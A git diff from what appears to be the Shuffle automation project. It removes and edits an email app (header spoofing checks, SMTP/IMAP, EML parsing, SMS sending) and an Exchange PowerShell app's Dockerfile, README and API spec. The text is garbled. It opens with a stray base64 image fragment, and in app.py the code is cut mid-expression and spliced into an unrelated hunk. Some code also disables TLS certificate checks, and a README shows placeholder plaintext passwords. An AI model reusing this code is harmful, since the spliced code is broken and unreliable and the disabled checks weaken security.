5r9Ii76Y7Z4mJgUHaSw7IqWhlCKHiLQN6RcmWmP9Nypsn8mIizj3GWGdOY2T9Xka1gSuJlH6bO/VKWbflm5hlubDam0v9U4lSC4lClBKiLp1G1iY3v8AbSdtr8LTP7Ekf6UL9tJ22vwss/sOR/pQfbSdtr8LLP7Dkf6UH20nba/C0z+w5H+lHmMxOkB2qc1MOKwrjjMNmfkPaGZxrTSZRl1iYZWFtPNOobC21pULhSSDx8DDe5uamJ6aenZt1Tr8w4p11auKlqNyT8SY2ZszZH1raIzqw1ldSG1hqozSXKlMAHTKyLZCn3VHwsi4HvKSPGOjSj0im0CjyVBpMqJen06XalZZhG7Q22kJQE+4AAIulJbJu63MrV4qY7h+EVA6rEKKwvclSuLp8quQjB45wVhrMbB9YwNjGnIn6JW5VyQnWVjihYtoTysbEKHAgGOf7a72U8abKeZszhStMOzVAnVreoNXCfk5uXvuSojcHUAgLTz3jcRGi4IIIIIuqVSqnXKnK0ajSD89PzzyJeWlpdsrcecUbJQlI3kkkAAROd0eGxqjZiy7XiLF8sy5j/FjaFVEiyhJMDeiSB9D2lkbiqw4JEO58CrUQAdJV4pPkHu+sIpxDZ0Lm3ZdQ4tti6U/CFJKiVKUFle5Sk8HR5U8jBcghWoAgaArwSPIfe9Y8PnJkvl1nzgScy7zMoDVQpMyLtlXZekHfmvNucULHgR8DcEiIZtqro1s58gZucxFg6QmsbYJQVOonpFkqnJNrw9pYTcgAfSJuk8Tp4Qz9SSklKgQQbEHwgggjYeTOz9m7n/iFGHMq8Fz1YdCgJiZSjRKSiT8955XYQB6m58AYmN2LejtwJsyoYxri52XxVmC43unA3/ZpAEb0ygVvv4F09ojgEgm7wSSq5Kgsr3KUODo8qeRguQQrUAQNAV4JHkPvesKl1bY0Im2pdI4NuC6k/GENwVagAQO0EcEjmj1g33AATe1wD3SnmffgG/Tp337mv535T+EG4i4KiCbAnvE8j7kaHzf2Hdl/O1+YqONcraexU3jd6p0i8jNFfPU1ZLnxWlUNjxL0LOTs6+tzC+bWLKSkHUWpmXl5xKR4BJAbJjD0/oTcEoeH1Uz5rbzfe0sUZlolH+pTigFelo3Nlr0UuyZgSYZn6vQ6zjKaQQpr6uz3yBI462WQhNvRVxDscMYVwvgujMYfwfh+n0Wly/ZZlJCVQw2k8tCABp9YypsL6iQAe0U8Unkj3YDcE6gAQO0EcEjmj3oN9wAE3tcA90p5n34VIcUm7bUutPgp7vn4wOpS05MNtiyZdAW0PKo+MASkuIbIulbPXKHNfOEa+V9m6zf7Vq633rcIpSoqbQ6T2lvdQo80coVxRbRMLRuVLuBts+VJ4iKnEhtb6ECwl0BxseVR8YAlJcQ2RdK2euUOa+cI18r7N1m/wBq1db71uEUpUVNodJ7S3uoUeaOUK4otomFo3Kl3A22fKk8RFTiQ2t9CBYS6A42PKo+MASkuIbIulbPXKHNfOPtKSkvNy6JiYaC3F71KJO+P//Z diff --git a/email/1.2.0/src/analyze.py b/email/1.2.0/src/analyze.py deleted file mode 100644 index 77e3169e..00000000 --- a/email/1.2.0/src/analyze.py +++ /dev/null @@ -1,158 +0,0 @@ -import json -import eml_parser -import datetime - -def json_serial(obj): - if isinstance(obj, datetime.datetime): - serial = obj.isoformat() - return serial - -# 1. -# "headers": { -# "headername": ["asd"] -# } - -# 2. -# "headers": [ -# "key": "headerame", -# "value": "headervalue" -# ] - -# 3. -# Raw headers - -def parse_email_headers(email_headers): - try: - email_headers = bytes(email_headers,'utf-8') - ep = eml_parser.EmlParser() - parsed_headers = ep.decode_email_bytes(email_headers) - return json.dumps(parsed_headers, default=json_serial) - except Exception as e: - raise Exception(e) - -# Basic function to check headers in an email -# Can be dumped in in pretty much any format -def analyze_headers(headers): - # Raw - if isinstance(headers, str): - headers = parse_email_headers(headers) - if isinstance(headers, str): - headers = json.loads(headers) - - headers = headers["header"]["header"] - - # Just a way to parse out shitty email formats - if "header" in headers: - headers = headers["header"] - if "header" in headers: - headers = headers["header"] - - if not isinstance(headers, list): - newheaders = [] - for key, value in headers.items(): - if isinstance(value, list): - newheaders.append({ - "key": key, - "value": value[0], - }) - else: - newheaders.append({ - "key": key, - "value": value, - }) - - headers = newheaders - - - spf = False - dkim = False - dmarc = False - spoofed = False - - analyzed_headers = { - "success": True, - } - - for item in headers: - if "name" in item: - item["key"] = item["name"] - - item["key"] = item["key"].lower() - - if "spf" in item["key"]: - if "pass " in item["value"].lower(): - spf = True - - if "dkim" in item["key"]: - if "pass " in item["value"].lower(): - dkim = True - - if "dmarc" in item["key"]: - print("dmarc: ", item["key"]) - - if item["key"] == "authentication-results": - if "spf=pass" in item["value"]: - spf = True - if "dkim=pass" in item["value"]: - dkim = True - if "dmarc=pass" in item["value"]: - dmarc = True - - # Fix spoofed! - if item["key"] == "from": - print("From: " + item["value"]) - - if "<" in item["value"]: - item["value"] = item["value"].split("<")[1] - - for subitem in headers: - if "name" in subitem: - subitem["key"] = subitem["name"] - - - subitem["key"] = subitem["key"].lower() - print("Found: ", subitem["key"]) - - if subitem["key"] == "reply-to": - if "<" in subitem["value"]: - subitem["value"] = subitem["value"].split("<")[1] - - print("Reply-To: " + subitem["value"], item["value"]) - if item["value"] != subitem["value"]: - spoofed = True - analyzed_headers["spoofed_reason"] = "Reply-To is different than From" - break - - if subitem["key"] == "mail-reply-to": - if "<" in subitem["value"]: - subitem["value"] = subitem["value"].split("<")[1] - - if item["value"] != subitem["value"]: - spoofed = True - analyzed_headers["spoofed_reason"] = "Mail-Reply-To is different than From" - break - - analyzed_headers["spf"] = spf - analyzed_headers["dkim"] = dkim - analyzed_headers["dmarc"] = dmarc - analyzed_headers["spoofed"] = spoofed - - # Should be a dictionary - return analyzed_headers - - -with open("hdr.txt", "r") as tmp: - data = json.loads(tmp.read()) - print(analyze_headers(data)) - - print() -# -#with open("hdr2.txt", "r") as tmp: -# data = json.loads(tmp.read()) -# print(analyze_headers(data)) -# -# print() -# -#with open("hdr3.txt", "r") as tmp: -# data = tmp.read() -# print(analyze_headers(data)) diff --git a/email/1.2.0/src/app.py b/email/1.2.0/src/app.py deleted file mode 100644 index 4a27c9b2..00000000 --- a/email/1.2.0/src/app.py +++ /dev/null @@ -1,567 +0,0 @@ -import json -import uuid -import socket -import asyncio -import requests -import datetime -import base64 -import imaplib -import smtplib -import time -import random -import eml_parser -import mailparser -import extract_msg -import jsonpickle - -from glom import glom -from msg_parser import MsOxMessage -from email.mime.multipart import MIMEMultipart -from email.mime.text import MIMEText -from email.mime.application import MIMEApplication - -from walkoff_app_sdk.app_base import AppBase - -def json_serial(obj): - if isinstance(obj, datetime.datetime): - serial = obj.isoformat() - return serial - -def default(o): - """helpers to store item in json - arguments: - - o: field of the object to serialize - returns: - - valid serialized value for unserializable fields - """ - if isinstance(o, (datetime.date, datetime.datetime)): - return o.isoformat() - if isinstance(o, set): - return list(o) - if isinstance(o, bytes): - try: - return o.decode("utf-8") - except: - print("Failed parsing utf-8 string") - return o - - -class Email(AppBase): - __version__ = "1.2.0" - app_name = "email" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # This is an email function of Shuffle - def send_email_shuffle(self, apikey, recipients, subject, body): - targets = [recipients] - if ", " in recipients: - targets = recipients.split(", ") - elif "," in recipients: - targets = recipients.split(",") - - data = {"targets": targets, "body": body, "subject": subject, "type": "alert"} - - url = "https://shuffler.io/functions/sendmail" - headers = {"Authorization": "Bearer %s" % apikey} - return requests.post(url, headers=headers, json=data).text - - def send_email_smtp( - self, username, password, smtp_host, recipient, subject, body, smtp_port, attachments="", ssl_verify="True", body_type="html" - ): - if type(smtp_port) == str: - try: - smtp_port = int(smtp_port) - except ValueError: - return "SMTP port needs to be a number (Current: %s)" % smtp_port - - try: - s = smtplib.SMTP(host=smtp_host, port=smtp_port) - except socket.gaierror as e: - return f"Bad SMTP host or port: {e}" - - # This is not how it should work.. - # Port 465 & 587 = TLS. Sometimes 25. - if ssl_verify == "false" or ssl_verify == "False": - pass - else: - s.starttls() - - if len(username) > 0 or len(password) > 0: - try: - s.login(username, password) - except smtplib.SMTPAuthenticationError as e: - return { - "success": False, - "reason": f"Bad username or password: {e}" - } - - if body_type == "" or len(body_type) < 3: - body_type = "html" - - # setup the parameters of the message - msg = MIMEMultipart() - msg["From"] = username - msg["To"] = recipient - msg["Subject"] = subject - msg.attach(MIMEText(body, body_type)) - - # Read the attachments - attachment_count = 0 - try: - if attachments != None and len(attachments) > 0: - print("Got attachments: %s" % attachments) - attachmentsplit = attachments.split(",") - - #attachments = parse_list(attachments, splitter=",") - #print("Got attachments2: %s" % attachmentsplit) - print("Before loop") - files = [] - for file_id in attachmentsplit: - print(f"Looping {file_id}") - file_id = file_id.strip() - new_file = self.get_file(file_id) - print(f"New file: {new_file}") - try: - part = MIMEApplication( - new_file["data"], - Name=new_file["filename"], - ) - part["Content-Disposition"] = f"attachment; filename=\"{new_file['filename']}\"" - msg.attach(part) - attachment_count += 1 - except Exception as e: - print(f"[WARNING] Failed to attach {file_id}: {e}") - - - #files.append(new_file) - - #return files - #data["attachments"] = files - except Exception as e: - self.logger.info(f"Error in attachment parsing for email: {e}") - - - try: - s.send_message(msg) - except smtplib.SMTPDataError as e: - return { - "success": False, - "reason": f"Failed to send mail: {e}" - } - - self.logger.info("Successfully sent email with subject %s to %s" % (subject, recipient)) - return { - "success": True, - "reason": "Email sent to %s!" % recipient, - "attachments": attachment_count - } - - def get_emails_imap( - self, - username, - password, - imap_server, - foldername, - amount, - unread, - fields, - include_raw_body, - include_attachment_data, - upload_email_shuffle, - upload_attachments_shuffle, - ssl_verify="True", - mark_as_read="False", - ): - def path_to_dict(path, value=None): - def pack(parts): - return ( - {parts[0]: pack(parts[1:]) if len(parts) > 1 else value} - if len(parts) > 1 - else {parts[0]: value} - ) - - return pack(path.split(".")) - - def merge(d1, d2): - for k in d2: - if k in d1 and isinstance(d1[k], dict) and isinstance(d2[k], dict): - merge(d1[k], d2[k]) - else: - d1[k] = d2[k] - - #if isinstance(mark_as_read, str): - # if str(mark_as_read).lower() == "true": - # mark_as_read = True - # else: - # mark_as_read = False - - if type(amount) == str: - try: - amount = int(amount) - except ValueError: - return { - "success": False, - "reason": "Amount needs to be a number, not %s" % amount, - } - - try: - email = imaplib.IMAP4_SSL(imap_server) - except ConnectionRefusedError as error: - try: - email = imaplib.IMAP4(imap_server) - - if ssl_verify == "false" or ssl_verify == "False" or ssl_verify == False: - pass - else: - email.starttls() - except socket.gaierror as error: - return { - "success": False, - "reason": "Can't connect to IMAP server %s: %s" % (imap_server, error), - } - except socket.gaierror as error: - return { - "success": False, - "reason": "Can't connect to IMAP server %s: %s" % (imap_server, error), - } - - try: - email.login(username, password) - except imaplib.IMAP4.error as error: - return { - "success": False, - "reason": "Failed to log into %s: %s" % (username, error), - } - - email.select(foldername) - unread = True if unread.lower().strip() == "true" else False - - try: - # IMAP search queries, e.g. "seen" or "read" - # https://www.rebex.net/secure-mail.net/features/imap-search.aspx - mode = "(UNSEEN)" if unread else "ALL" - thistype, data = email.search(None, mode) - except imaplib.IMAP4.error as error: - return { - "success": False, - "reason": "Couldn't find folder %s." % (foldername), - } - - email_ids = data[0] - id_list = email_ids.split() - if id_list == None: - return { - "success": False, - "reason": f"Couldn't retrieve email. Data: {data}", - } - - #try: - # self.logger.info(f"LIST: {id_list}") - #except TypeError: - # return { - # "success": False, - # "reason": "Error getting email. Data: %s" % data, - # } - - mark_as_read = True if str(mark_as_read).lower().strip() == "true" else False - include_raw_body = True if str(include_raw_body).lower().strip() == "true" else False - include_attachment_data = ( - True if str(include_attachment_data).lower().strip() == "true" else False - ) - upload_email_shuffle = ( - True if str(upload_email_shuffle).lower().strip() == "true" else False - ) - upload_attachments_shuffle = ( - True if str(upload_attachments_shuffle).lower().strip() == "true" else False - ) - - # Convert of mails in json - emails = [] - ep = eml_parser.EmlParser( - include_attachment_data=include_attachment_data - or upload_attachments_shuffle, - include_raw_body=include_raw_body, - ) - - if len(id_list) == 0: - return { - "success": True, - "messages": [], - } - - try: - amount = len(id_list) if len(id_list) 1 or len(password) > 1: try: s.login(username, password) @@ -108,14 +159,21 @@ def send_email_smtp( body_type = "html" # setup the parameters of the message + self.logger.info("Pre mime multipart") msg = MIMEMultipart() msg["From"] = username msg["To"] = recipient msg["Subject"] = subject + + if cc_emails != None and len(cc_emails) > 0: + msg["Cc"] = cc_emails + + self.logger.info("Pre mime check") msg.attach(MIMEText(body, body_type)) # Read the attachments attachment_count = 0 + self.logger.info("Pre attachments") try: if attachments != None and len(attachments) > 0: print("Got attachments: %s" % attachments) @@ -149,7 +207,7 @@ def send_email_smtp( except Exception as e: self.logger.info(f"Error in attachment parsing for email: {e}") - + self.logger.info("Pre send msg") try: s.send_message(msg) except smtplib.SMTPDataError as e: @@ -161,7 +219,7 @@ def send_email_smtp( self.logger.info("Successfully sent email with subject %s to %s" % (subject, recipient)) return { "success": True, - "reason": "Email sent to %s!" % recipient, + "reason": "Email sent to %s, %s!" %(recipient,cc_emails) if cc_emails else "Email sent to %s!" % recipient, "attachments": attachment_count } @@ -384,14 +442,46 @@ def merge(d1, d2): "messages": json.dumps(emails, default=default), } + def parse_eml(self, filedata, extract_attachments=False): + parsedfile = { + "success": True, + "filename": "email.eml", + "data": filedata, + } + + # Encode the data as utf-8 if it's not base64 + if not str(parsedfile["data"]).endswith("="): + parsedfile["data"] = parsedfile["data"].encode("utf-8") + + return self.parse_email_file(parsedfile, extract_attachments) + def parse_email_file(self, file_id, extract_attachments=False): - file_path = self.get_file(file_id) + file_path = { + "success": False, + } + + if isinstance(file_id, dict) and "data" in file_id: + file_path = file_id + else: + file_path = self.get_file(file_id) + if file_path["success"] == False: return { "success": False, "reason": "Couldn't get file with ID %s" % file_id } + # Check if data is in base64 and decode it + # If it ends with = then it may be bas64 + + if str(file_path["data"]).endswith("="): + try: + file_path["data"] = base64.b64decode(file_path["data"]) + except Exception as e: + print(f"Failed to decode base64: {e}") + + #print("POST: ", file_path) + #print("File: %s" % file_path) print('working with .eml file? %s' % file_path["filename"]) @@ -400,6 +490,16 @@ def parse_email_file(self, file_id, extract_attachments=False): else: extract_attachments = False + # Replace raw newlines \\r\\n with actual newlines + # The data is a byte string, so we need to decode it to utf-8 + try: + print("Pre size: %d" % len(file_path["data"])) + file_path["data"] = file_path["data"].decode("utf-8").replace("\\r\\n", "\n").encode("utf-8") + print("Post size: %d" % len(file_path["data"])) + except Exception as e: + print(f"Failed to decode file: {e}") + pass + # Makes msg into eml if ".msg" in file_path["filename"] or "." not in file_path["filename"]: print(f"[DEBUG] Working with .msg file {file_path['filename']}. Filesize: {len(file_path['data'])}") @@ -414,6 +514,7 @@ def parse_email_file(self, file_id, extract_attachments=False): if ".msg" in file_path["filename"]: return {"success":False, "reason":f"Exception occured during msg parsing: {e}"} + ep = eml_parser.EmlParser( include_attachment_data=True, include_raw_body=True @@ -422,8 +523,8 @@ def parse_email_file(self, file_id, extract_attachments=False): try: print("Pre email") parsed_eml = ep.decode_email_bytes(file_path['data']) - if str(parsed_eml["header"]["date"]) == "1970-01-01 00:00:00+00:00" and len(parsed_eml["header"]["subject"]) == 0: - return {"success":False,"reason":"Not a valid EML/MSG file, or the file have a timestamp or subject defined (required).", "date": str(parsed_eml["header"]["date"]), "subject": str(parsed_eml["header"]["subject"])} + #if str(parsed_eml["header"]["date"]) == "1970-01-01 00:00:00+00:00" and len(parsed_eml["header"]["subject"]) == 0: + # return {"success":False,"reason":"Not a valid EML/MSG file, or the file have a timestamp or subject defined (required).", "date": str(parsed_eml["header"]["date"]), "subject": str(parsed_eml["header"]["subject"])} # Put attachments in the shuffle file system print("Pre attachment") @@ -471,6 +572,8 @@ def parse_email_headers(self, email_headers): # Basic function to check headers in an email # Can be dumped in in pretty much any format def analyze_headers(self, headers): + self.logger.info("Input headers: %s" % headers) + # Raw if isinstance(headers, str): headers = self.parse_email_headers(headers) @@ -484,6 +587,11 @@ def analyze_headers(self, headers): headers = headers["header"] if "header" in headers: headers = headers["header"] + + if "headers" in headers: + headers = headers["headers"] + if "headers" in headers: + headers = headers["headers"] if not isinstance(headers, list): newheaders = [] @@ -501,6 +609,7 @@ def analyze_headers(self, headers): headers = newheaders + #self.logger.info("Parsed headers: %s" % headers) spf = False dkim = False @@ -509,12 +618,16 @@ def analyze_headers(self, headers): analyzed_headers = { "success": True, + "sender": "", + "receiver": "", + "subject": "", + "date": "", "details": { "spf": "", "dkim": "", "dmarc": "", "spoofed": "", - } + }, } for item in headers: @@ -522,6 +635,19 @@ def analyze_headers(self, headers): item["key"] = item["name"] item["key"] = item["key"].lower() + + # Handle sender/receiver + if item["key"] == "from" or item["key"] == "sender" or item["key"] == "delivered-to": + analyzed_headers["sender"] = item["value"] + + if item["key"] == "to" or item["key"] == "receiver" or item["key"] == "delivered-to": + analyzed_headers["receiver"] = item["value"] + + if item["key"] == "subject" or item["key"] == "title": + analyzed_headers["subject"] = item["value"] + + if item["key"] == "date": + analyzed_headers["date"] = item["value"] if "spf" in item["key"]: analyzed_headers["details"]["spf"] = spf @@ -599,6 +725,17 @@ def analyze_headers(self, headers): # Should be a dictionary return analyzed_headers + # This is an SMS function of Shuffle + def send_sms_shuffle(self, apikey, phone_numbers, body): + phone_numbers = phone_numbers.replace(" ", "") + targets = phone_numbers.split(",") + + data = {"numbers": targets, "body": body} + + url = "https://shuffler.io/api/v1/functions/sendsms" + headers = {"Authorization": "Bearer %s" % apikey} + return requests.post(url, headers=headers, json=data, verify=False).text + # Run the actual thing after we've checked params def run(request): diff --git a/email/README.md b/email/README.md deleted file mode 100644 index 22855529..00000000 --- a/email/README.md +++ /dev/null @@ -1,20 +0,0 @@ -# Mail -This apps is used to interact with SMTP, IMAP and contains other basic email tools - -## eml parsing -You can parse eml files by running the "Parse email file" action - -### Using curl to test whether you SMPT mails are getting delivered. -``` -curl --ssl smtp://1.1.1.1:587 --mail-from example@example.com --mail-rcpt example1@example.com --upload-file email.txt --user 'example:Password123' -k -v -``` - -### email.txt : Should contain the below -``` -From: -To: -Subject: an example.com example email -Date: Thu, 24 Mar 2022 11:29:16 - -Welcome to this example email. What a lovely day -``` diff --git a/exchange-powershell/1.0.0/Dockerfile b/exchange-powershell/1.0.0/Dockerfile deleted file mode 100644 index e167e432..00000000 --- a/exchange-powershell/1.0.0/Dockerfile +++ /dev/null @@ -1,67 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency -RUN apk add --no-cache \ - ca-certificates \ - less \ - ncurses-terminfo-base \ - krb5-libs \ - libgcc \ - libintl \ - libssl1.1 \ - libstdc++ \ - tzdata \ - userspace-rcu \ - zlib \ - icu-libs \ - curl - -RUN apk -X https://dl-cdn.alpinelinux.org/alpine/edge/main add --no-cache \ - lttng-ust - -# Download the powershell '.tar.gz' archive -RUN curl -L https://github.com/PowerShell/PowerShell/releases/download/v7.1.4/powershell-7.1.4-linux-alpine-x64.tar.gz -o /tmp/powershell.tar.gz - -# Create the target folder where powershell will be placed -RUN mkdir -p /opt/microsoft/powershell/7 - -# Expand powershell to the target folder -RUN tar zxf /tmp/powershell.tar.gz -C /opt/microsoft/powershell/7 - -# Set execute permissions -RUN chmod +x /opt/microsoft/powershell/7/pwsh - -# Create the symbolic link that points to pwsh -RUN ln -s /opt/microsoft/powershell/7/pwsh /usr/bin/pwsh -RUN pwsh -Command Install-Module -Name ExchangeOnlineManagement -Force -RUN sh -c "yes | pwsh -Command 'Install-Module -Name PSWSMan'" -RUN pwsh -Command 'Install-WSMan' -RUN pwsh -Command Import-Module 'Microsoft.PowerShell.Security' -Force - -# Adds a replacement file which will be used to run the powershell script from python -COPY replacementfile.ps1 /app/replacementfile.ps1 -#COPY password.ps1 password.ps1 -#RUN pwsh -file password.ps1 - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/exchange-powershell/1.0.0/README.md b/exchange-powershell/1.0.0/README.md deleted file mode 100644 index e23727c5..00000000 --- a/exchange-powershell/1.0.0/README.md +++ /dev/null @@ -1,45 +0,0 @@ -docker run -it mcr.microsoft.com/powershell:ubuntu-18.04 - - -### https://docs.microsoft.com/en-us/powershell/module/exchange/connect-exchangeonline?view=exchange-ps -Install-Module -Name ExchangeOnlineManagement -Force - -Connect-ExchangeOnline -Device - -* Go to https://microsoft.com/devicelogin and type in the code they give - -Get-QuarantineMessage -Get-QuarantineMessageHeader -Delete-QuarantineMessage -Export-QuarantineMessage -Preview-QuarantineMessage -Release-QuarantineMessage - -############### Otherwise: -Install-Module -Name ExchangeOnlineManagement -Force -Connect-ExchangeOnline -InlineCredential - -$userCredential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "frikky@shufflertest2.onmicrosoft.com", $(ConvertTo-SecureString -String "MyPassword" -AsPlainText -Force) - -$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Authentication Basic -AllowRedirection -Credential $(New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "frikky@shufflertest2.onmicrosoft.com", $(ConvertTo-SecureString -String "MyPassword" -AsPlainText -Force)) - -Import-PSSession $Session -AllowClobber - - -############### USAGE -$msg = Get-QuarantineMessage -StartReceivedDate 06/13/2016 -EndReceivedDate 01/01/2025 -$msg[0].MessageID -$msg[0].Identity - -Get-QuarantineMessage -MessageID "<5c695d7e-6642-4681-a4b0-9e7a86613cb7@contoso.com>" -Get-QuarantineMessage -Identity $msg.identity - -Get-QuarantineMessageHeader $msg.identity -$exported = Export-QuarantineMessage -Identity $msg.identity -$exported.eml - - - -############## EXTRA PSWSMan -Install-Module -Name PSWSMan -Force -Install-WSMan diff --git a/exchange-powershell/1.0.0/api.yaml b/exchange-powershell/1.0.0/api.yaml deleted file mode 100644 index 348d253e..00000000 --- a/exchange-powershell/1.0.0/api.yaml +++ /dev/null @@ -1,136 +0,0 @@ -app_version: 1.0.0 -name: Exchange Powershell -description: An app to interact with emails to be downloaded and release quarantined emails from office365 using Powershell -contact_info: - name: "@frikkylikeme" - url: https://github.com/vlegoy/rcATT - email: frikky@shuffler.io -tags: - - Communication -categories: - - Communication -authentication: - required: true - parameters: - - name: username - description: The username to connect with - example: "email@company.com" - required: true - schema: - type: string - - name: password - description: The URL to use - example: "*******" - required: true - schema: - type: string -actions: - - name: get_quarantine_messages - description: Predicts the - parameters: - - name: time_from - description: Start time - required: true - multiline: true - example: '06/13/2016' - schema: - type: string - - name: time_to - description: End time - required: true - multiline: true - example: '01/01/2025' - schema: - type: string - returns: - schema: - type: string - - name: release_quarantine_message - description: Releases quarantine message back to the original user - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '' - schema: - type: string - returns: - schema: - type: string - - name: preview_quarantine_message - description: Previews a quarantine message - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '{"data": "testing"}' - schema: - type: string - returns: - schema: - type: string - - name: export_quarantine_message - description: Exports a quarantine message - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '{"data": "testing"}' - schema: - type: string - - name: skip_upload - description: Decides if you should upload the file or not - required: true - multiline: false - options: - - false - - true - example: '{"data": "testing"}' - schema: - type: string - returns: - schema: - type: string - - name: delete_quarantine_message - description: Deletes a quarantine message - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '{"data": "testing"}' - schema: - type: string - returns: - schema: - type: string - - name: get_quarantine_message - description: Predicts the - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '{"data": "testing"}' - schema: - type: string - returns: - schema: - type: string - - name: get_quarantine_messageheaders - description: Predicts the - parameters: - - name: message_id - description: The message to get - required: true - multiline: false - example: '' - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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